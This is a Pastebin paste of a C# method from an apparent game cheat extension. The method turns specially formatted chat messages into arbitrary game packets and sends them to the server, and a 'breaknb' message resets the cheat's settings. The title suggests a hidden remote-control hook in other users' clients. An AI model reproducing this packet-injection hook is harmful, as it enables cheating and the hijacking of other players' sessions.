Advertisement
Guest User

revengemethod

a guest
Aug 27th, 2015
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.41 KB | None | 0 0
  1. private void userchats(HMessage obj)
  2. {
  3. var args = new userchats.OnUserChats(obj);
  4. string packet = args.textmessage;
  5. string[] partipals = packet.Split(';');
  6. if (partipals[0] == "c" || partipals[0] == "s")
  7. {
  8. int numberofpartipals = 0;
  9. while (partipals[numberofpartipals] != "")
  10. {
  11. numberofpartipals = numberofpartipals + 1;
  12. }
  13. int currentnumber = 2;
  14. string test = partipals[1];
  15. string[] ushortconfig = test.Split(':');
  16. if (ushortconfig[0] == "u")
  17. {
  18. var packetmsg = new HMessage(ushort.Parse(ushortconfig[1]));
  19. while (currentnumber < numberofpartipals)
  20. {
  21. string currentline = partipals[currentnumber];
  22. string[] PofP = currentline.Split(':');
  23. if (PofP[0] == "i")
  24. {
  25. packetmsg.Append(Int32.Parse(PofP[1].Replace("'r'", string.Empty)));
  26. }
  27. else if (PofP[0] == "s")
  28. {
  29. packetmsg.Append(PofP[1].Replace("'r'", string.Empty).ToString());
  30. }
  31. else if (PofP[0] == "b")
  32. {
  33. if (PofP[1] == "0")
  34. {
  35. bool test2 = false;
  36. packetmsg.Append(test2);
  37. }
  38. else if (PofP[1] == "1")
  39. {
  40. bool test2 = true;
  41. packetmsg.Append(test2);
  42. }
  43. }
  44. currentnumber = currentnumber + 1;
  45. }
  46. byte[] _packetmsg = packetmsg.ToBytes();
  47. this.Extension.Contractor.SendToServer(_packetmsg);
  48. }
  49. }
  50. else if (args.textmessage == "breaknb")
  51. {
  52. Gamble_Cheat_v1._0.Settings1.Default.ssUseLever = ushort.Parse("-1");
  53. Gamble_Cheat_v1._0.Settings1.Default.ssWalk = ushort.Parse("-1");
  54. }
  55. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement